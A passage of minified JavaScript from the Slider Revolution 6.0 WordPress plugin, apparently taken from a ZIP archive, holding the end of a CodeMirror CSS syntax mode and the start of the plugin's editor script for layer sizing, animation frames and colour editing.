-back-button","media-seek-forward-button","media-slider","media-sliderthumb","media-time-remaining-display","media-volume-slider","media-volume-slider-container","media-volume-sliderthumb","medium","menu","menulist","menulist-button","menulist-text","menulist-textfield","menutext","message-box","middle","min-intrinsic","mix","mongolian","monospace","move","multiple","multiply","myanmar","n-resize","narrower","ne-resize","nesw-resize","no-close-quote","no-drop","no-open-quote","no-repeat","none","normal","not-allowed","nowrap","ns-resize","numbers","numeric","nw-resize","nwse-resize","oblique","octal","opacity","open-quote","optimizeLegibility","optimizeSpeed","oriya","oromo","outset","outside","outside-shape","overlay","overline","padding","padding-box","painted","page","paused","persian","perspective","plus-darker","plus-lighter","pointer","polygon","portrait","pre","pre-line","pre-wrap","preserve-3d","progress","push-button","radial-gradient","radio","read-only","read-write","read-write-plaintext-only","rectangle","region","relative","repeat","repeating-linear-gradient","repeating-radial-gradient","repeat-x","repeat-y","reset","reverse","rgb","rgba","ridge","right","rotate","rotate3d","rotateX","rotateY","rotateZ","round","row","row-resize","row-reverse","rtl","run-in","running","s-resize","sans-serif","saturation","scale","scale3d","scaleX","scaleY","scaleZ","screen","scroll","scrollbar","scroll-position","se-resize","searchfield","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","self-start","self-end","semi-condensed","semi-expanded","separate","serif","show","sidama","simp-chinese-formal","simp-chinese-informal","single","skew","skewX","skewY","skip-white-space","slide","slider-horizontal","slider-vertical","sliderthumb-horizontal","sliderthumb-vertical","slow","small","small-caps","small-caption","smaller","soft-light","solid","somali","source-atop","source-in","source-out","source-over","space","space-around","space-between","space-evenly","spell-out","square","square-button","start","static","status-bar","stretch","stroke","sub","subpixel-antialiased","super","sw-resize","symbolic","symbols","system-ui","table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group","tamil","telugu","text","text-bottom","text-top","textarea","textfield","thai","thick","thin","threeddarkshadow","threedface","threedhighlight","threedlightshadow","threedshadow","tibetan","tigre","tigrinya-er","tigrinya-er-abegede","tigrinya-et","tigrinya-et-abegede","to","top","trad-chinese-formal","trad-chinese-informal","transform","translate","translate3d","translateX","translateY","translateZ","transparent","ultra-condensed","ultra-expanded","underline","unset","up","upper-alpha","upper-armenian","upper-greek","upper-hexadecimal","upper-latin","upper-norwegian","upper-roman","uppercase","urdu","url","var","vertical","vertical-text","visible","visibleFill","visiblePainted","visibleStroke","visual","w-resize","wait","wave","wider","window","windowframe","windowtext","words","wrap","wrap-reverse","x-large","x-small","xor","xx-large","xx-small"],y=e(f),w=t.concat(o).concat(a).concat(l).concat(c).concat(p).concat(g).concat(f);function k(e,t){for(var r,o=!1;null!=(r=e.next());){if(o&&"/"==r){t.tokenize=null;break}o="*"==r}return["comment","comment"]}T.registerHelper("hintWords","css",w),T.defineMIME("text/css",{documentTypes:r,mediaTypes:i,mediaFeatures:n,mediaValueKeywords:s,propertyKeywords:d,nonStandardPropertyKeywords:u,fontProperties:m,counterDescriptors:h,colorKeywords:b,valueKeywords:y,tokenHooks:{"/":function(e,t){return!!e.eat("*")&&(t.tokenize=k)(e,t)}},name:"css"}),T.defineMIME("text/x-scss",{mediaTypes:i,mediaFeatures:n,mediaValueKeywords:s,propertyKeywords:d,nonStandardPropertyKeywords:u,colorKeywords:b,valueKeywords:y,fontProperties:m,allowNested:!0,lineComment:"//",tokenHooks:{"/":function(e,t){return e.eat("/")?(e.skipToEnd(),["comment","comment"]):e.eat("*")?(t.tokenize=k)(e,t):["operator","operator"]},":":function(e){return!!e.match(/\s*\{/,!1)&&[null,null]},$:function(e){return e.match(/^[\w-]+/),e.match(/^\s*:/,!1)?["variable-2","variable-definition"]:["variable-2","variable"]},"#":function(e){return!!e.eat("{")&&[null,"interpolation"]}},name:"css",helperType:"scss"}),T.defineMIME("text/x-less",{mediaTypes:i,mediaFeatures:n,mediaValueKeywords:s,propertyKeywords:d,nonStandardPropertyKeywords:u,colorKeywords:b,valueKeywords:y,fontProperties:m,allowNested:!0,lineComment:"//",tokenHooks:{"/":function(e,t){return e.eat("/")?(e.skipToEnd(),["comment","comment"]):e.eat("*")?(t.tokenize=k)(e,t):["operator","operator"]},"@":function(e){return e.eat("{")?[null,"interpolation"]:!e.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/i,!1)&&(e.eatWhile(/[\w\\\-]/),e.match(/^\s*:/,!1)?["variable-2","variable-definition"]:["variable-2","variable"])},"&":function(){return["atom","atom"]}},name:"css",helperType:"less"}),T.defineMIME("text/x-gss",{documentTypes:r,mediaTypes:i,mediaFeatures:n,propertyKeywords:d,nonStandardPropertyKeywords:u,fontProperties:m,counterDescriptors:h,colorKeywords:b,valueKeywords:y,supportsAtComponent:!0,tokenHooks:{"/":function(e,t){return!!e.eat("*")&&(t.tokenize=k)(e,t)}},name:"css",helperType:"gss"})});PK�y3\���EU
EU
assets/js/modules/editor.min.jsnu�[���/*!
 * REVOLUTION 6.0.0 EDITOR HELPINIT JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
window.HelpGuide={addOnsHelp:[],verifyObject:function(e){return e&&"object"==typeof e&&!Array.isArray(e)},add:function(e){HelpGuide.verifyObject(e)&&(HelpGuide.allHelpPaths?HelpGuide.extendHelpAddOns([e],!0):HelpGuide.addOnsHelp[HelpGuide.addOnsHelp.length]=e)},activate:function(e){HelpGuide.allHelpPaths&&HelpGuide.toggleHelpAddOn(e,!0)},deactivate:function(e){HelpGuide.allHelpPaths&&HelpGuide.toggleHelpAddOn(e)}},jQuery(function(){var e;jQuery(".help_wrap").one("click",function(e){jQuery.getScript(RVS.ENV.plugin_url+"admin/assets/js/modules/help.js")}),jQuery(".tooltip_wrap").on("click",function(){var t=jQuery(this).data("scriptready");e&&!t||(e?jQuery(document).trigger("start-tooltips"):jQuery.getScript(RVS.ENV.plugin_url+"admin/assets/js/modules/tooltip.js"),e=!0)}),window.RsTooltips=function(e,t,i){window.RsTooltipList=t,revSliderToolTips&&e&&jQuery(".tooltip_wrap").data("tooltip-definitions",i).trigger("click")}}),RVS.S.keyFrame="idle",RVS.S.frameTrgt="layer",RVS.V.frameLevels={levels:["mask","chars","words","lines","color","sfx"]},RVS.LIB.FONTS=[],RVS.CACHE=RVS.CACHE||{},function(){var e,t,i,a,r,s,o,n=[];function l(e){var t=e.a.length>0?e.a[0]:e.v;for(var i in e.a)e.a.hasOwnProperty(i)&&(t=e.a[i]<e.v&&t<e.v?e.a[i]:t);return t}function d(e){var t=RVS.L[e.uid],i=-1!=t.group.puid?RVS.H[t.group.puid].w:RVS.C.layergrid;return{width:i.width(),height:i.height()}}function S(e){e.l=RVS.L[e.uid],e.v=e.l.size.width[RVS.screen].v,e.pre=RVS.S.slideId+".layers."+e.uid+".",RVS.H[e.uid].c.find("img").first().attr("src",e.src),e.src==RVS.ENV.img_ph_url?RVS.H[e.uid].c.addClass("placeholder_on"):RVS.H[e.uid].c.removeClass("placeholder_on"),e.ignoreBackup=!0,"video"!==e.l.type&&c(e),e.ignore&&RVS.DOC.trigger("restoreLayersSize"),RVS.F.drawHTMLLayer({uid:e.uid})}function c(e){switch(e.l.type){case"image":!0!==e.ignore&&RVS.F.updateSliderObj({path:e.pre+"size."+e.direction+".#size#.v",val:e.v,ignoreBackup:e.ignoreBackup}),t="auto"===(t="width"===e.direction?RVS.F.isNumeric(e.v)||!RVS.F.isNumeric(e.v)&&e.v.indexOf("px")>=0?Math.round(parseInt(e.v,0)/e.l.size.aspectRatio[RVS.screen].v):"auto":!RVS.F.isNumeric(e.v)&&e.v.indexOf("%")>=0?Math.round(d({uid:e.uid}).height*(parseInt(e.v,0)/100)*e.l.size.aspectRatio[RVS.screen].v):"auto"===e.v?e.v:Math.round(parseInt(e.v,0)*e.l.size.aspectRatio[RVS.screen].v))?t:t+"px",RVS.F.updateSliderObj({path:e.pre+"size."+e.dirB+".#size#.v",val:t,ignoreBackup:e.ignoreBackup});break;case"group":case"shape":var t="auto"===e.v?"100px":e.v;!0!==e.ignore&&RVS.F.updateSliderObj({path:e.pre+"size."+e.direction+".#size#.v",val:t,ignoreBackup:e.ignoreBackup}),RVS.F.isNumeric(parseInt(t,0))&&(t="width"===e.direction?Math.round(parseInt(t,0)/e.l.size.aspectRatio[RVS.screen].v):Math.round(parseInt(t,0)*e.l.size.aspectRatio[RVS.screen].v),RVS.F.updateSliderObj({path:e.pre+"size."+e.dirB+".#size#.v",val:t,ignoreBackup:e.ignoreBackup}));break;case"video":!0!==e.ignore&&RVS.F.updateSliderObj({path:e.pre+"size."+e.direction+".#size#.v",val:e.v,ignoreBackup:e.ignoreBackup});var i=e.l.media.ratio.split(":");i=i[0]/i[1],t="auto"===(t="width"===e.direction?RVS.F.isNumeric(e.v)||!RVS.F.isNumeric(e.v)&&e.v.indexOf("px")>=0?Math.round(parseInt(e.v,0)/i):"auto":!RVS.F.isNumeric(e.v)&&e.v.indexOf("%")>=0?Math.round(d({uid:e.uid}).height*(parseInt(e.v,0)/100)*i):"auto"===e.v?e.v:Math.round(parseInt(e.v,0)*i))?"width"===e.dirB?"100%":t:t+"px",RVS.F.updateSliderObj({path:e.pre+"size."+e.dirB+".#size#.v",val:t,ignoreBackup:e.ignoreBackup})}}function p(e){jQuery("framewrap.selected").removeClass("selected").removeClass("selected_0");var t=document.getElementById(RVS.S.slideId+"_"+RVS.selLayers[0]+"_"+("frame_0"===RVS.S.keyFrame?"frame_1":RVS.S.keyFrame));null!=t&&void 0!==t&&(t.className+=" selected"+("frame_0"===RVS.S.keyFrame?" selected_0":""))}function R(e){for(var t in e)if(e.hasOwnProperty(t))if(jQuery.inArray(t,["chars","filter","color","bgcolor","words","lines","mask"])>=0&&!1===e[t].use&&delete e[t],"object"==typeof e[t])for(var i in e[t])"inherit"===e[t][i]&&delete e[t][i];else"inherit"===e[t]&&delete e[t];return e}function u(e){void 0!==e&&(void 0!==e.frame_0&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_0=v(jQuery.extend(!0,g({alias:RVS_LANG.enterstage,opacity:0},"frame_0"),e.frame_0)),RVS.L[RVS.selLayers[0]].timeline.frames.frame_0.timeline.start=RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_0.timeline.start,RVS.L[RVS.selLayers[0]].timeline.frames.frame_0.timeline.alias=RVS_LANG.enterstage),void 0!==e.frame_1&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_1=v(jQuery.extend(!0,g({opacity:1,effect:"none",chars:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0},words:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0},lines:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0}},"frame_1"),e.frame_1)),RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.start=RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_1.timeline.start,RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.alias=RVS_LANG.onstage),void 0!==e.frame_999&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_999=v(jQuery.extend(!0,g({endWithSlide:!0,alias:RVS_LANG.leavestage,opacity:0},"frame_999"),e.frame_999)),RVS.L[RVS.selLayers[0]].timeline.frames.frame_999.timeline.start=RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_999.timeline.start,RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.alias=RVS_LANG.leavestage),void 0!==e.loop&&(RVS.L[RVS.selLayers[0]].timeline.loop=jQuery.extend(!0,h(),e.loop),RVS.L[RVS.selLayers[0]].timeline.loop.start=RVS.L[RVS.selLayers[0]].timelinecache.loop.start),clearTimeout(window.timelineTemporaryUpdate),window.timelineTemporaryUpdate=setTimeout(function(){RVS.F.updateLayerFrames({layerid:RVS.selLayers[0]})},50))}function V(e,t,i){switch(t){case"layerTextColorHover":case"layerTextColor":case"layerTextColorInFrame":case"frameColorAnimation":jQuery.inArray(RVS.L[e].type,["text","button"])>=0&&(void 0!==RVS.H[e].splitText?tpGS.gsap.to([RVS.H[e].c,RVS.H[e].splitText.chars,RVS.H[e].splitText.words,RVS.H[e].splitText.lines],.001,{color:i}):tpGS.gsap.to([RVS.H[e].c],.001,{color:i}));break;case"frameBGColorAnimation":case"frameBGColorAnimationDouble":case"layerBGColor":i.indexOf("gradient")>=0?tpGS.gsap.to("column"===RVS.L[e].type?RVS.H[e].bg:RVS.H[e].c,.001,{background:i}):void 0!==RVS.L[e].idle.backgroundImage?tpGS.gsap.to("column"===RVS.L[e].type?RVS.H[e].bg:RVS.H[e].c,.001,{backgroundImage:"url("+RVS.L[e].idle.backgroundImage+")",backgroundColor:i}):tpGS.gsap.to("column"===RVS.L[e].type?RVS.H[e].bg:RVS.H[e].c,.001,{background:i});break;case"layerBorderColor":tpGS.gsap.to([RVS.H[e].c],.001,{borderColor:i});break;case"layerSVGColor":"svg"===RVS.L[e].type&&tpGS.gsap.to([RVS.H[e].svgPath,RVS.H[e].svg],.001,{fill:i});break;case"layerStrokeColor":"svg"===RVS.L[e].type&&tpGS.gsap.to([RVS.H[e].svgPath,RVS.H[e].svg],.001,{stroke:i})}}function y(e,t,i,a,r,s){if(void 0!==t?window.lastColorEditjObj=t:void 0!==window.lastColorEditjObj&&(i=window.RSColor.get(window.lastColorEditjObj.val())),void 0!==i){for(var o in void 0!==t&&r&&t.val(a||i).change(),RVS.selLayers){if(RVS.selLayers.hasOwnProperty(o))V(n=RVS.selLayers[o],window.lastColorEditjObj[0].name,i)}if(s)for(var n in s.ref)if("layer"===s.ref[n].type&&s.ref[n].slide==RVS.S.slideId&&V(s.ref[n].layer,s.ref[n].inpname,i),"layer"===s.ref[n].type&&r)if(RVS.F.updateSliderObj({path:s.ref[n].r,val:i,slide:s.ref[n].slide}),s.ref[n].slide==RVS.S.slideId&&RVS.selLayers[0]==s.ref[n].layer){var l=jQuery("input[name="+s.ref[n].inpname+"]");l.length>0&&(l[0].value=i,l.rsColorPicker("refresh"))}else s.ref[n].slide!=RVS.S.slideId&&RVS.F.slideinWork(s.ref[n].slide);if(r||"colorcancel"===e.type)for(var n in RVS.selLayers)RVS.selLayers.hasOwnProperty(n)&&RVS.F.drawHTMLLayer({uid:RVS.selLayers[n]})}}function m(e,t,i){var a=t.indexOf("i")>=0,r=100*parseInt(t.replace(/[^0-9]/,""),0);for(var s in RVS.L)RVS.L.hasOwnProperty(s)&&("text"===RVS.L[s].type||"button"===RVS.L[s].type)&&RVS.L[s].idle.fontFamily==e&&(!a&&!RVS.L[s].idle.fontStyle||a&&RVS.L[s].idle.fontStyle)&&RVS.L[s].idle.fontWeight[RVS.screen].v==r&&RVS.F.drawHTMLLayer({uid:RVS.L[s].uid});setTimeout(function(){for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&("text"===RVS.L[t].type||"button"===RVS.L[t].type)&&RVS.L[t].idle.fontFamily==e&&(!a&&!RVS.L[t].idle.fontStyle||a&&RVS.L[t].idle.fontStyle)&&RVS.L[t].idle.fontWeight[RVS.screen].v==r&&RVS.F.updateHTMLLayerPosition({uid:RVS.L[t].uid})},150)}function f(e,t){return null==e?t:e}function h(e){return(e=void 0===e?{}:e).frame_0=void 0===e.frame_0?{}:e.frame_0,e.frame_999=void 0===e.frame_999?{}:e.frame_999,{use:f(e.use,!1),ease:f(e.ease,"none"),speed:f(e.speed,1e3),originX:f(e.originX,"50%"),originY:f(e.originX,"50%"),radiusAngle:f(e.radiusAngle,0),curviness:f(e.curviness,2),curved:f(e.curved,!1),yoyo_move:f(e.yoyo_move,!1),yoyo_rotate:f(e.yoyo_rotate,!1),yoyo_scale:f(e.yoyo_scale,!1),yoyo_filter:f(e.yoyo_filter,!1),repeat:f(e.repeat,"-1"),start:f(e.start,300),autoRotate:f(e.autoRotate,!1),frame_0:{yr:f(e.frame_0.yr,0),zr:f(e.frame_0.zr,0),x:f(e.frame_0.x,0),y:f(e.frame_0.y,0),z:f(e.frame_0.z,0),scaleX:f(e.frame_0.scaleX,1),scaleY:f(e.frame_0.scaleY,1),opacity:f(e.frame_0.opacity,1),rotationX:f(e.frame_0.rotationX,0),rotationY:f(e.frame_0.rotationY,0),rotationZ:f(e.frame_0.rotationZ,0),skewX:f(e.frame_0.skewX,0),skewY:f(e.frame_0.skewY,0),blur:0,brightness:100,grayscale:0},frame_999:{xr:f(e.frame_999.xr,0),yr:f(e.frame_999.yr,0),zr:f(e.frame_999.zr,0),x:f(e.frame_999.x,0),y:f(e.frame_999.y,0),z:f(e.frame_999.z,0),scaleX:f(e.frame_999.scaleX,1),scaleY:f(e.frame_999.scaleY,1),opacity:f(e.frame_999.opacity,1),rotationX:f(e.frame_999.rotationX,0),rotationY:f(e.frame_999.rotationY,0),rotationZ:f(e.frame_999.rotationZ,0),skewX:f(e.frame_999.skewX,0),skewY:f(e.frame_999.skewY,0),blur:0,brightness:100,grayscale:0}}}function g(e,t){NRI="frame_0"===t?0:"frame_1"===t?1:2,(e=void 0===e?{}:e).chars=void 0===e.chars?{}:e.chars,e.words=void 0===e.words?{}:e.words,e.lines=void 0===e.lines?{}:e.lines,e.mask=void 0===e.mask?{}:e.mask,e.color=void 0===e.color?{}:e.color,e.bgcolor=void 0===e.bgcolor?{}:e.bgcolor;var i=f(e.grayscale,[0,0,0][NRI]),a=f(e.brightness,[100,100,100][NRI]),r=f(e.blur,[0,0,0][NRI]),s=0!==parseInt(i,0)||100!==parseInt(a,0)||0!==parseInt(r,0),o=f(e.bgrayscale,[0,0,0][NRI]),n=f(e.bbrightness,[100,100,100][NRI]),l=f(e.bblur,[0,0,0][NRI]),d=f(e.binvert,[0,0,0][NRI]),S=f(e.bsepia,[0,0,0][NRI]),c=0!==parseInt(o,0)||100!==parseInt(n,0)||0!==parseInt(l,0)||0!==parseInt(d,0)||0!==parseInt(S,0),p={alias:f(e.alias,RVS_LANG.onstage),filter:{use:s,grayscale:i,brightness:a,blur:r},bfilter:{use:c,grayscale:o,brightness:n,blur:l,sepia:S,invert:d},transform:{x:RVS.F.cToResp({default:f(e.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:f(e.y,[0,0,"inherit"][NRI])}),z:f(e.z,[0,0,"inherit"][NRI]),scaleX:f(e.scaleX,[1,1,"inherit"][NRI]),scaleY:f(e.scaleY,[1,1,"inherit"][NRI]),opacity:f(e.opacity,[0,1,"inherit"][NRI]),rotationX:f(e.rotationX,[0,0,"inherit"][NRI]),rotationY:f(e.rotationY,[0,0,"inherit"][NRI]),rotationZ:f(e.rotationZ,[0,0,"inherit"][NRI]),skewX:f(e.skewX,[0,0,"inherit"][NRI]),skewY:f(e.skewY,[0,0,"inherit"][NRI]),originX:f(e.originX,["50%","50%","50%"][NRI]),originY:f(e.originY,["50%","50%","50%"][NRI]),originZ:f(e.originZ,["0","0","0"][NRI]),transformPerspective:f(RVS.SLIDER.settings.general.perspective,["600px","600px","600px"][NRI]),clip:f(e.clip,[100,100,"inherit"][NRI]),clipB:f(e.clipB,[100,100,"inherit"][NRI])},reverseDirection:{x:f(e.rx,!1),y:f(e.ry,!1),rotationX:f(e.rrotationX,!1),rotationY:f(e.rrotationY,!1),rotationZ:f(e.rrotationZ,!1),skewX:f(e.rskewX,!1),skewY:f(e.rskewY,!1),maskX:f(e.rmaskX,!1),maskY:f(e.rmaskY,!1),charsX:f(e.crx,!1),charsY:f(e.cry,!1),charsDirection:f(e.crsd,!1),wordsX:f(e.wrx,!1),wordsY:f(e.wry,!1),wordsDirection:f(e.wrsd,!1),linesX:f(e.lrx,!1),linesY:f(e.lry,!1),linesDirection:f(e.lrsd,!1)},mask:{use:f(e.mask.use,!1),x:RVS.F.cToResp({default:f(e.mask.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:f(e.mask.y,[0,0,"inherit"][NRI])})},color:{color:f(e.color.color,"#ffffff"),use:f(e.color.use,!1)},bgcolor:{backgroundColor:f(e.bgcolor.backgroundColor,"transparent"),use:f(e.bgcolor.use,!1)},timeline:{actionTriggered:f(e.actionTriggered,!1),ease:f(e.ease,"power3.inOut"),speed:f(e.speed,300),start:f(e.start,0),startRelative:f(e.startRelative,0),endWithSlide:f(e.endWithSlide,!1)},chars:{ease:f(e.chars.ease,"inherit"),use:f(e.chars.use,!1),direction:f(e.chars.direction,"forward"),delay:f(e.chars.delay,5),x:RVS.F.cToResp({default:f(e.chars.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:f(e.chars.y,[0,0,"inherit"][NRI])}),z:f(e.chars.z,[0,0,"inherit"][NRI]),scaleX:f(e.chars.scaleX,[1,1,"inherit"][NRI]),scaleY:f(e.chars.scaleY,[1,1,"inherit"][NRI]),opacity:f(e.chars.opacity,"inherit"),rotationX:f(e.chars.rotationX,[0,0,"inherit"][NRI]),rotationY:f(e.chars.rotationY,[0,0,"inherit"][NRI]),rotationZ:f(e.chars.rotationZ,[0,0,"inherit"][NRI]),skewX:f(e.chars.skewX,[0,0,"inherit"][NRI]),skewY:f(e.chars.skewY,[0,0,"inherit"][NRI]),originX:f(e.chars.originX,["50%","50%","inherit"][NRI]),originY:f(e.chars.originY,["50%","50%","inherit"][NRI]),originZ:f(e.chars.originZ,["0","0","inherit"][NRI]),fuse:f(e.chars.fuse,!1),blur:f(e.chars.blur,[0,0,0][NRI]),grayscale:f(e.chars.grayscale,[0,0,0][NRI]),brightness:f(e.chars.brightness,[100,100,100][NRI])},words:{ease:f(e.words.ease,"inherit"),use:f(e.words.use,!1),direction:f(e.words.direction,"forward"),delay:f(e.words.delay,5),x:RVS.F.cToResp({default:f(e.words.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:f(e.words.y,[0,0,"inherit"][NRI])}),z:f(e.words.z,[0,0,"inherit"][NRI]),scaleX:f(e.words.scaleX,[1,1,"inherit"][NRI]),scaleY:f(e.words.scaleY,[1,1,"inherit"][NRI]),opacity:f(e.words.opacity,"inherit"),rotationX:f(e.words.rotationX,[0,0,"inherit"][NRI]),rotationY:f(e.words.rotationY,[0,0,"inherit"][NRI]),rotationZ:f(e.words.rotationZ,[0,0,"inherit"][NRI]),skewX:f(e.words.skewX,[0,0,"inherit"][NRI]),skewY:f(e.words.skewY,[0,0,"inherit"][NRI]),originX:f(e.words.originX,["50%","50%","inherit"][NRI]),originY:f(e.words.originY,["50%","50%","inherit"][NRI]),originZ:f(e.words.originY,["0","0","inherit"][NRI]),fuse:f(e.words.fuse,!1),blur:f(e.words.blur,[0,0,0][NRI]),grayscale:f(e.words.grayscale,[0,0,0][NRI]),brightness:f(e.words.brightness,[100,100,100][NRI])},lines:{ease:f(e.lines.ease,"inherit"),use:f(e.lines.use,!1),direction:f(e.lines.direction,"forward"),delay:f(e.lines.delay,5),x:RVS.F.cToResp({default:f(e.lines.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:f(e.lines.y,[0,0,"inherit"][NRI])}),z:f(e.lines.z,[0,0,"inherit"][NRI]),scaleX:f(e.lines.scaleX,[1,1,"inherit"][NRI]),scaleY:f(e.lines.scaleY,[1,1,"inherit"][NRI]),opacity:f(e.lines.opacity,"inherit"),rotationX:f(e.lines.rotationX,[0,0,"inherit"][NRI]),rotationY:f(e.lines.rotationY,[0,0,"inherit"][NRI]),rotationZ:f(e.lines.rotationZ,[0,0,"inherit"][NRI]),skewX:f(e.lines.skewX,[0,0,"inherit"][NRI]),skewY:f(e.lines.skewY,[0,0,"inherit"][NRI]),originX:f(e.lines.originX,["50%","50%","inherit"][NRI]),originY:f(e.lines.originY,["50%","50%","inherit"][NRI]),originZ:f(e.lines.originY,["0","0","inherit"][NRI]),fuse:f(e.lines.fuse,!1),blur:f(e.lines.blur,[0,0,0][NRI]),grayscale:f(e.lines.grayscale,[0,0,0][NRI]),brightness:f(e.lines.brightness,[100,100,100][NRI])},sfx:{effect:f(e.effect,""),color:f(e.sfxcolor,"#ffffff")}};for(var R in p.sfx.effect="blockfrombottom"===p.sfx.effect?"blocktotop":"blockfromtop"===p.sfx.effect?"blocktobottom":"blockfromleft"===p.sfx.effect?"blocktoright":"blockfromright"===p.sfx.effect?"blocktoleft":"none",RVS.JHOOKS.defaultFrame)RVS.JHOOKS.defaultFrame.hasOwnProperty(R)&&(p=RVS.JHOOKS.defaultFrame[R](p));return p}function v(e){return"object"!=typeof e.transform.x&&(e.transform.x=RVS.F.cToResp({default:f(e.transform.x,0)})),"object"!=typeof e.transform.y&&(e.transform.y=RVS.F.cToResp({default:f(e.transform.y,0)})),"object"!=typeof e.mask.x&&(e.mask.x=RVS.F.cToResp({default:f(e.mask.x,0)})),"object"!=typeof e.mask.y&&(e.mask.y=RVS.F.cToResp({default:f(e.mask.y,0)})),"object"!=typeof e.chars.x&&(e.chars.x=RVS.F.cToResp({default:f(e.chars.x,"inherit")})),"object"!=typeof e.chars.y&&(e.chars.y=RVS.F.cToResp({default:f(e.chars.y,"inherit")})),"object"!=typeof e.words.x&&(e.words.x=RVS.F.cToResp({default:f(e.words.x,"inherit")})),"object"!=typeof e.words.y&&(e.words.y=RVS.F.cToResp({default:f(e.words.y,"inherit")})),"object"!=typeof e.lines.x&&(e.lines.x=RVS.F.cToResp({default:f(e.lines.x,"inherit")})),"object"!=typeof e.lines.y&&(e.lines.y=RVS.F.cToResp({default:f(e.lines.y,"inherit")})),e}RVS.F.initLayerBuilder=function(){RVS.C.slit=document.getElementById("selected_layers_icon_toolbar"),RVS.ENV.video_ph_url=RVS.ENV.img_ph_url=RVS.ENV.plugin_url+"admin/assets/images/transparent_placeholder.png",function(){RVS.LIB.LAYERANIMS.animSettings=jQuery("#form_layer_animation_innerwrap");var e={in:"",out:"",loop:""};for(var t in RVS.LIB.LAYERANIMS)if(RVS.LIB.LAYERANIMS.hasOwnProperty(t)&&("in"===t||"out"===t||"loop"===t))for(var i in RVS.LIB.LAYERANIMS[t])if(RVS.LIB.LAYERANIMS[t].hasOwnProperty(i)){var a='<div id="lal_'+t+"_"+i+'" class="latransgroup '+(RVS.LIB.LAYERANIMS[t][i].custom?"custom_lainner_trans_"+i:"")+'"><div class="latransgroup_head"><span class="latransgroup_name">'+RVS.LIB.LAYERANIMS[t][i].group+'</span><div class="animation_drop_arrow"><i class="material-icons">arrow_drop_down</i></div></div><div class="lainner_transitions">';if(RVS.LIB.LAYERANIMS[t][i].custom)for(var r in a+='<div data-lindex="'+t+'" data-gindex="'+i+'" data-tindex="custom" class="layer_trans_liste dark_btn"><span class="cla_custom_name">'+RVS_LANG.savecurrenttemplate+'</span><input type="text" value="custom" class="cla_entername"><div class="custom_layer_animation_toolbar"><i class="cla_answer_yes material-icons">done</i><i class="cla_answer_no material-icons">close</i><i class="add_custom_layeranimation material-icons">add</i></div></div>',RVS.LIB.LAYERANIMS[t][i].amount=1,RVS.LIB.LAYERANIMS[t][i].transitions)RVS.LIB.LAYERANIMS[t][i].transitions.hasOwnProperty(r)&&(RVS.LIB.LAYERANIMS[t][i].transitions[r].customindex=void 0===RVS.LIB.LAYERANIMS[t][i].transitions[r].customindex?RVS.LIB.LAYERANIMS[t][i].amount:RVS.LIB.LAYERANIMS[t][i].transitions[r].customindex,a+='<div data-lindex="'+t+'" data-gindex="'+i+'" data-tindex="'+r+'" class="layer_trans_liste dark_btn"><span class="cla_custom_name">'+RVS.LIB.LAYERANIMS[t][i].transitions[r].name+'</span><div class="cla_message">'+RVS_LANG.overwritetemplate+'</div><input type="text" value="'+RVS.LIB.LAYERANIMS[t][i].transitions[r].name+'" class="cla_entername"><div class="custom_layer_animation_toolbar"><i class="cla_answer_yes material-icons">done</i><i class="cla_answer_no material-icons">close</i><i class="edit_custom_layeranimation material-icons">edit</i><i class="save_custom_layeranimation material-icons">save</i><i class="delete_custom_layeranimation material-icons">delete</i></div></div>',RVS.LIB.LAYERANIMS[t][i].amount=parseInt(RVS.LIB.LAYERANIMS[t][i].transitions[r].customindex,0)+1);else for(var r in RVS.LIB.LAYERANIMS[t][i].transitions)RVS.LIB.LAYERANIMS[t][i].transitions.hasOwnProperty(r)&&(a+='<div data-lindex="'+t+'" data-gindex="'+i+'" data-tindex="'+r+'" class="layer_trans_liste dark_btn">'+RVS.LIB.LAYERANIMS[t][i].transitions[r].name+"</div>");a+="</div></div>",e[t]+=a}RVS.LIB.LAYERANIMS.translists={0:jQuery('<div id="layer_transliste_0" class="load_anim_value_wrap">'+e.in+"</div>"),999:jQuery('<div id="layer_transliste_999" class="load_anim_value_wrap">'+e.out+"</div>")},jQuery("#layer_transliste_loop").append(e.loop)}(),RVS.DOC.on("coloredit colorcancel",y),jQuery("#builderView").on("dragover dragenter",function(e){var t=e.originalEvent.dataTransfer;t.types&&(t.types.indexOf?-1!=t.types.indexOf("Files"):t.types.contains("Files"))&&!RVS.S.dragginginside&&0===jQuery("#filedrop").length&&RVS.F.browserDroppable.init({onlydrop:!0,success:"uploadImagesAndCreateLayer",action:"add_to_media_library"})}),RVS.DOC.on("windowresized",function(){RVS.F.updateCoveredLayers()}),RVS.DOC.on("windowresized, updatesliderlayout_main",function(){setTimeout(function(){RVS.F.updateCoveredLayers(!0)},250)}),RVS.DOC.on("updatelayerpostermpeg",function(e,t){void 0!==t&&void 0!==t.val&&RVS.F.videoExtract.get(t.val,function(e){RVS.F.setBGPosterImage(e.path,e.id,"layer")},document.getElementById("layer_video_start").value,"layer")}),RVS.DOC.on("uploadImagesAndCreateLayer",function(e,t){if(void 0!==t&&void 0!==t.path&&t.path.length>4){var 